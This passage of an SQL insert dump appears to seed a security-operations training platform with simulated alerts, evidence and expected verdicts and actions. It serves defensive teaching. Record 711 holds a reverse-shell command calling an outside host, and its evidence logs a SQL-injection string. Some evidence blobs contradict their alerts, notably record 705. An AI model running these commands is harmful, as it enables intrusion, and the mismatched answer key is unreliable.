operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected client\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"command_and_control\",\"analysis_notes\":\"The fast-flux domain and known association with ransomware C2 activity confirm the threat.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(705, 'False Positive: Suspected Phishing from Internal Domain', 'medium', 'Proofpoint', 'An email flagged as phishing due to a similar domain name was found to be sent from a legitimate internal source. The email appeared suspicious due to its subject line and formatting.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.100\",\"email_sender\":\"alerts@internal-domain.com\",\"subject\":\"Urgent: Update Your Password Immediately\",\"url\":\"https://internal-domain.com/security-update\"}', '2026-01-10 05:58:44', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alerts@internal-domain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate email from internal domain\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://internal-domain.com/security-update\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Verified internal URL\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a legitimate internal source and was incorrectly flagged due to its subject and formatting.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"False Positive: Suspected Phishing from Internal Domain\",\"date\":\"2026-02-01T20:32:22.351Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(706, 'APT Lateral Movement via PsExec Detected', 'high', 'Wazuh', 'An APT actor was detected using PsExec for lateral movement within the network, targeting several internal hosts over SMB.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T06:30:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"10.0.0.25\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"C:\\\\tools\\\\PsExec.exe \\\\\\\\10.0.0.25 -u admin_user -p password cmd\"}', '2026-01-11 08:30:21', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP address of the initiating host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Target IP address of the lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\tools\\\\PsExec.exe \\\\\\\\10.0.0.25 -u admin_user -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"PsExec usage detected, often used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Use of PsExec for lateral movement is a known tactic of APT groups, confirming the suspicious activity.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(707, 'Brute Force Login Attempt Detected', 'high', 'Splunk', 'Multiple failed login attempts detected from a known malicious IP address. The source is from a foreign location.', 'Credential Attack', 'T1110', 1, 'Investigating', 52, '{\"timestamp\":\"2026-01-11T08:45:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"corp-server-01\",\"failed_attempts\":35}', '2026-01-09 17:39:12', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Valid internal username\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The number of failed attempts and the source IP\'s malicious history confirm this as a brute force attack.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:31:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:30:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:29:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:28:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(708, 'Malware Detected on Endpoint', 'critical', 'CrowdStrike', 'A known malware signature was detected on an endpoint. The malware has a high detection rate on VirusTotal.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:30:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"hostname\":\"workstation-02\",\"command_line\":\"C:\\\\malicious\\\\malware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-10 06:01:10', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 60/70 AV engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious\\\\malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"CrowdStrike\",\"verdict\":\"malicious\",\"details\":\"Confirmed execution of known malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash is widely recognized as malicious, indicating a confirmed malware infection.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(709, 'Phishing Email with Malicious Link Detected', 'medium', 'Proofpoint', 'A phishing email was detected with a link leading to a known malicious site.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:20:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.85\",\"email_sender\":\"phisher@malicious.com\",\"url\":\"http://malicious-site.com/fake-login\",\"username\":\"jdoe\",\"hostname\":\"user-laptop-03\"}', '2026-01-10 16:11:58', '2026-02-15 05:02:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Proofpoint\",\"verdict\":\"malicious\",\"details\":\"Known phishing campaign sender\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-site.com/fake-login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Site hosting phishing login page\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple phishing sites\"}}],\"expected_actions\":[\"block_url\",\"close_alert\",\"user_education\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a link to a known phishing site, confirming the phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious Link Detected\",\"date\":\"2026-02-01T20:32:22.355Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(710, 'Suspicious Network Activity Detected', 'low', 'Firewall', 'An unusual spike in outbound traffic was detected from an internal server, but no malicious activity was confirmed.', 'Data Exfiltration', 'T1041', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T11:15:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.200\",\"hostname\":\"internal-server-01\",\"bytes_sent\":5000000}', '2026-01-09 23:38:05', '2026-02-13 18:56:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal server IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP observed in benign traffic, no confirmed malicious reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Traffic was determined to be a legitimate data transfer after further analysis.\"}', 'Novice', 'NDR', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(711, 'APT41 Command Injection Detected', 'high', 'Wazuh', 'A command injection attempt was identified on a web server. The attacker executed a shell command which could allow them to gain unauthorized access to the system.', 'Web Attack', 'T1059', 1, 'closed', NULL, '{\"timestamp\":\"2026-01-11T08:45:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.15\",\"username\":\"webadmin\",\"hostname\":\"web-server-01\",\"command_line\":\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\"}', '2026-01-09 18:42:52', '2026-02-16 02:42:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of a command injection attempt with a known malicious IP confirms the alert as true positive.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(712, 'Spear-Phishing Attempt by APT29', 'medium', 'Proofpoint', 'A spear-phishing email was detected targeting the finance department. It included a link to a credential harvesting site.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:15:47Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.22\",\"username\":\"j.doe@company.com\",\"hostname\":\"mail-server-01\",\"email_sender\":\"finance@trusted-source.com\",\"url\":\"http://malicious-link.com/login\"}', '2026-01-10 20:11:25', '2026-02-22 14:40:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"finance@trusted-source.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Domain used in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL classified as phishing site\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing URL and suspicious sender email confirm the phishing attempt, marking it as true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear-Phishing Attempt by APT29\",\"date\":\"2026-02-01T20:32:22.358Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(713, 'Failed Login Attempts from Unusual Location', 'low', 'Splunk', 'Multiple failed login attempts detected for user \'admin\' from a foreign IP address indicating potential brute force attack.', 'Credential Attack', 'T1078', 0, 'Closed', 210, '{\"timestamp\":\"2026-01-11T14:22:59Z\",\"event_type\":\"login_failure\",\"src_ip\":\"212.47.229.1\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"auth-server-01\",\"failed_attempts\":15}', '2026-01-09 22:20:35', '2026-02-26 21:56:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"212.47.229.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Standard admin account for internal systems\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed login attempts from a suspicious IP suggest a brute force attack, making it a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 